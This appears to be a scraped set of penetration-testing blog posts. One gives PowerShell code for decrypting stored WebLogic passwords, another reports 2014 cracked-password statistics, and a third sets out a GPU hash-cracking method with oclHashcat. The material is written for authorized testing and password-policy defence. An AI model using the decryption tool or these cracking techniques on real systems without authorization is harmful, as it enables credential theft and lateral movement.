    $CipherParameters = [Org.BouncyCastle.Security.PbeUtilities]::GenerateCipherParameters($EncryptionKeyCipher,$Pass,$AlgorithmParameters)

    $KeyCipher = [Org.BouncyCastle.Security.PbeUtilities]::CreateEngine($EncryptionKeyCipher)
    $KeyCipher.Init($false, $CipherParameters)

    $Key = $KeyCipher.DoFinal($EncryptionKey)

    $Cipher = [Org.BouncyCastle.Security.CipherUtilities]::GetCipher($EncryptionCipher)
    $KeyParameter = [Org.BouncyCastle.Crypto.Parameters.KeyParameter] $Key
    $ParametersWithIV = [Org.BouncyCastle.Crypto.Parameters.ParametersWithIV]::new($KeyParameter , $IV)

    $Cipher.Init($false, $ParametersWithIV)
    $ClearText = $Cipher.DoFinal($CipherText)


function Decrypt-3DES




    $EncryptionCipher = 'DESEDE/CBC/PKCS5Padding'

    $EncryptionKeyCipher = 'PBEWITHSHAAND128BITRC2-CBC'

    $IV = New-Object -TypeName byte[] -ArgumentList 8

    [array]::Copy($Salt,0,$IV, 0 ,4)
    [array]::Copy($Salt,0,$IV, 4 ,4)

    $AlgorithmParameters = [Org.BouncyCastle.Security.PbeUtilities]::GenerateAlgorithmParameters($EncryptionKeyCipher,$Salt,5)
    $CipherParameters = [Org.BouncyCastle.Security.PbeUtilities]::GenerateCipherParameters($EncryptionKeyCipher,$Pass,$AlgorithmParameters)

    $KeyCipher = [Org.BouncyCastle.Security.PbeUtilities]::CreateEngine($EncryptionKeyCipher)
    $KeyCipher.Init($false, $CipherParameters)

    $Key = $KeyCipher.DoFinal($EncryptionKey)

    $Cipher = [Org.BouncyCastle.Security.CipherUtilities]::GetCipher($EncryptionCipher)
    $KeyParameter = [Org.BouncyCastle.Crypto.Parameters.KeyParameter] $Key
    $ParametersWithIV = [Org.BouncyCastle.Crypto.Parameters.ParametersWithIV]::new($KeyParameter , $IV)

    $Cipher.Init($false, $ParametersWithIV)
    $ClearText = $Cipher.DoFinal($DecodedCipherText)


Export-ModuleMember -Function Invoke-WebLogicPasswordDecryptor

I also added the ability to decrypt 3DES for older versions of WebLogic. Here’s the result:

PS C:&gt; Import-Module .Invoke-WebLogicDecrypt.psm1
PS C:&gt; Invoke-WebLogicDecrypt -SerializedSystemIni "C:SerializedSystemIni.dat" -CipherText "{AES}OjkNNBWD9XEG6YM36TpP+R/Q1f9mPwKIEmHxwqO3YNQ="

Speaking of 3DES, if you do have a newer version of WebLogic that uses AES, you can change it back to 3DES by modifying the SerializedSystemIni.dat file. A newer one will have 02  set for the 6th byte:

Img D C

Which outputs the following in WLST

root@kali:~/wls12130/user_projects/domains/mydomain# java weblogic.WLST

Initializing WebLogic Scripting Tool (WLST) ...

Welcome to WebLogic Server Administration Scripting Shell

Type help() for help on available commands

wls:/offline&gt; pw = encrypt('password')
wls:/offline&gt; print pw

Changing it to 01  will enable 3DES:

Img D Ca
root@kali:~/wls12130/user_projects/domains/mydomain# java weblogic.WLST

Initializing WebLogic Scripting Tool (WLST) ...

Welcome to WebLogic Server Administration Scripting Shell

Type help() for help on available commands

wls:/offline&gt; pw = encrypt("Password1")
wls:/offline&gt; print pw                 


The penetration test revealed three big issues. The use of a static key for encryption, installing WebLogic on an SMB share, and allowing anonymous users read access to the share. The static key is something that users don’t control. I downloaded several versions of WebLogic and this is static across all of them. So if you have access to the SerializedSystemIni.dat file and have some encrypted passwords, it’s possible to decrypt them all, Muahaha!!! This all depends on whether or not you have access to the WebLogic installation directory. This leads to the next issue which is installing applications in a share. Installing any application in a share is risky in itself, but not securing that share can lead to catastrophic consequences. In the penetration test, after copying down the SerializedSystemIni.dat, I could now decrypt all the encrypted passwords from my initial grep. These were local user passwords and Oracle database passwords. Everything you need for lateral movement within an environment, all from anonymous access to a share.


NetSPI's Top Cracked Passwords for 2014

It’s been a big year for password cracking at NetSPI. We’ve spent a lot of time refining our dictionaries and processes to more efficiently crack passwords. This has been a huge help during our pentests, as the cracked passwords have been the starting point for gaining access to systems and applications. While this blog focuses on the Windows domain hashes (LM/NTLM) that we’ve cracked this year, these statistics also translate into the other hashes that we run into (MD5, NetNTLM, etc.) during penetration tests.

During many of our penetration tests, we gather domain password hashes (with permission of the client) for offline cracking and analysis. This blog is a summary of the hashes that we attempted to crack in 2014. Please keep in mind that this is not an all-encompassing sample. We do not collect domain hashes during every single penetration test, as some clients do not want us to. Additionally, these are Windows domain credentials. These are not web site or application passwords, which frequently have weaker password complexity requirements.

This year, we collected 90,977 domain hashes. On average, we still see about ten percent of domain hashes that are stored with their LM hashes. This is due to accounts that do not change their passwords after the NTLM-only group policy gets applied. The LM hashes definitely helped our password cracking numbers, but they were not crucial to the cracking success.

Of the collected hashes, 27,785 were duplicates, leaving 63,192 unique hashes. Of the total 90,977 hashes, we were able to crack 77,802 (85.52%). In terms of cracking effort, we typically put about a day’s worth of effort into the hashes when we initially get them. I did an additional five days of cracking time on these, once we hit the end of the year.


Here’s nine of the top passwords that we used for guessing during online brute-force attacks:

  • Password1 – 1,446
  • Spring2014 – 219
  • Spring14 – 135
  • Summer2014 – 474
  • Summer14 – 221
  • Fall2014 – 150
  • Autumn14 – 15*
  • Winter2014 – 87
  • Winter14 – 63

*Fall14 is too short for most complexity requirements

Combined, these account for 3.6% of all accounts. These are typically used for password guessing attacks, as they meet password complexity requirements and they’re easy to remember. This may not seem like a large number, but once we have access to one account, lots of options open up for escalation.

Other notable reused passwords:

  • Changem3 – 820
  • Work1234 – 283
  • Password2 – 142
  • Company Name followed by a one (Netspi1)

Cracked Password Length Breakdown:

As you can see below, the cracked passwords peak at the eight character length. This is a pretty common requirement for minimum password length, so it’s not a big surprise that this is the most common length cracked. It should also be noted that since we’re able to get through the entire eight character key space in about two days. This means any password that was eight characters or less was cracked within two days.


Some interesting finds:

  • Most Common Password (3,003 instances): [REDACTED] (This one was very specific to a client)
  • Longest Password: UniversityofNorthwestern1 (25 characters)
  • Most Common Length (33,654 instances – 43.2%): 8 characters
  • Instances of “password” (full word, case-insensitive): 3,266 (4.4%)
  • Blank passwords: 362
  • Ends with a “1”: 10,025 (12.9%)
  • Ends with “14”: 4,617 (6%)
  • Ends with “2014”: 2645 (3.4%)
  • Passwords containing profanity (“7 dirty words” – full words, no variants): 48
  • Top mask pattern: ?u?l?l?l?l?l?d?d (3,439 instances – 4.4%)
    • Matches Spring14
    • 8 Characters
    • Upper, lower, and number
  • The top 10 mask patterns account for 37% of the cracked passwords
    • The top 10 masks took 25 minutes for us to run on our GPU cracking system
  • One of our base dictionaries with the d3ad0ne rule cracked 52.7% of the hashes in 56 seconds

Note: I used Pipal to help generate some of these stats.

I put together an hcmask file (to use with oclHashcat) of our top forty password patterns that were identified for this year. You can download them here.

Additionally, I put together one for every quarter. These can be found in the previous quarter blogs:

For more information on how we built our GPU-enhanced password cracking box, check out our slides

For a general outline of our password cracking methodology check out this post


GPU Password Cracking – Building a Better Methodology

In an attempt to speed up our password cracking process, we have run a number of tests to better match our guesses with the passwords that are being used by our clients. This is by no means a definitive cracking methodology, as it will probably change next month, but here’s a look at what worked for us on a recent cracking test.

For a little background, these hashes were pulled from a domain controller in the last six months. The DC still had some hashes stored in the older LanManager (LM) format in addition to NTLM. The password cracking process is also helped by using any cleartext passwords, recovered during the penetration test, as a dictionary.

For this sample, there were:

  • 1000 total hashes (159 LM/NTLM, 841 NTLM-Only)
  • 828 unique hashes
  • 172 accounts with duplicate* passwords (*shared with one or more accounts)

Since LM hashes are weaker, we cracked those first. Initial attacks cracked all of the LM/NTLM hashes, giving us a nice head start (130/828 unique hashes or 15.7% cracked) and a good list to feed back into our other attacks.

The General Methodology:

1. Use the dictionary and rules (Three minutes*) – Remaining Unique Hashes 698

Our dictionary file will typically catch the simple passwords. Our dictionary includes previously cracked passwords and most dictionary-word-based passwords will be in here. Add in a couple of simple rules (d3ad0ne, passwordspro, etc.) and this will catch a few of the “smarter” users with passwords like “1qaz2wsx%“. As for the starting rules, we’re currently using a mix of the default oclHashcat rules and some of the rules from KoreLogic’s 2010 rule list – For our sample set of data, the dictionary attack (with a couple of rules) caught 372 of the remaining 698 hashes (53%).

2. Start with the masking attacks (Fifteen minutes*) – Remaining Unique Hashes 326

Using mask attacks allows us to match common password patterns. Based on the passwords that we’ve cracked in the past, we identified the fifty most common password patterns (that our clients use). Here’s a handy perl script for identifying those patterns –

Due to the excessive time that some of these masks take, we’ve trimmed our list down to forty-three masks. The masks are based on the types of characters being used for the password They follow the following format:


This is equivalent to (1 Uppercase Character) (4 Lowercase Characters) (3 Decimals). Or a more practical example would be “Netsp199

For more information on masking attacks with oclHashcat –

Our top forty-three masks take about fifteen minutes to run through and caught (29/326) 8% of the remaining uncracked hashes from this sample.

3. Go back to the dictionary, this time with more ammunition (10 minutes*) – Remaining Unique Hashes 297

After we’ve cracked some of the passwords, we will want to funnel those results back into our mangling attacks. It’s not hard for us to guess “!123Acme123!” after we’ve already cracked “Acme123“. Just use the cracked passwords as your dictionary and repeat your rule-based attacks. This is also a good point to combine rules. oclHashcat allows you to combine rule sets to do a multi-vector mangle on your dictionary words. I’ve had pretty good luck with combining the best64 and the d3ad0neV3 rules, but your mileage may vary.

Using this technique, we were able to crack four of the remaining 297 (1.3%) uncracked hashes.

4. Double your dictionary, double your fun? (20-35 minutes)

At this point, we’re hitting our limits and need to start getting creative. Along with our hefty primary dictionary, we have a number of shorter dictionaries that are small enough that we can combine them to catch repeaters (e.g. “P@ssword P@ssword“). The attack is pretty simple: a word from the first dictionary will be appended with a word from the second.

This style of attack is known as the combinator attack and is run with the -a 1 mode of oclHashcat. Additional rules can be applied to each dictionary to catch some common word delineation patterns (“Super-Secret!“). The example here would append a dash to the first word and an exclamation mark to the second.

To be honest, this did not work for this sample set. Normally, we catch a few with this and it can be really handy in some scenarios, but that was not the case here.

At this point, we will (typically) be about an hour into our cracking process. From the uniqued sample set, we were able to crack 530 of the 828 hashes (64%) within one hour. From the complete set (including duplicates), we were able to crack 701 of the 1,000 total hashes (70.1%).

5. When all else fails, brute force

Take a look at the company password policy. Seven characters is the minimum? That will take us about forty minutes to go through. Eight characters? A little over two and a half days. What does that mean for our cracking? It means we can easily go after any remaining seven character passwords (where applicable). For those with eight character minimums (or higher), it doesn’t hurt for us to run a brute-force overnight on the hashes. Anything we get out of the brute-force can always be pulled back in to the wordlist for the rule-based attacks.

Given that a fair amount of our cracking happens during a well-defined project timeframe, we’ve found that it’s best for us to limit the cracking efforts to about twenty-four hours. This prevents us from wasting too much time on a single hash and it frees up our cracking rig for our other projects. If we really need to crack a hash, we’ll extend this time limit out, but a day is usually enough to catch most of the hashes we’re trying to crack.

With the overall efforts that we put in here (~24 hours), we ended up cracking 757 of the 1,000 hashes (75.7%).

As luck would have it, I wrote up all of the stats for this blog and immediately proceeded to crack two new sets of NTLM hashes. One was close to 800 hashes (90% cracked) and another had over 5000 hashes (84% cracked). So your results will vary based on the hashes you’re trying to crack.

*All times are based on our current setup (Four 7950 cards running OclHashcat 1.01)

One final item to note. This is not the definitive password cracking methodology. This will probably change for us in the next year, month, week… People are always changing up how they create passwords and that will continue to influence the way we attack their hashes. I’ll try to remember to come back to this next year and update with any changes. Did we miss any key cracking strategies? Let me know in the comments.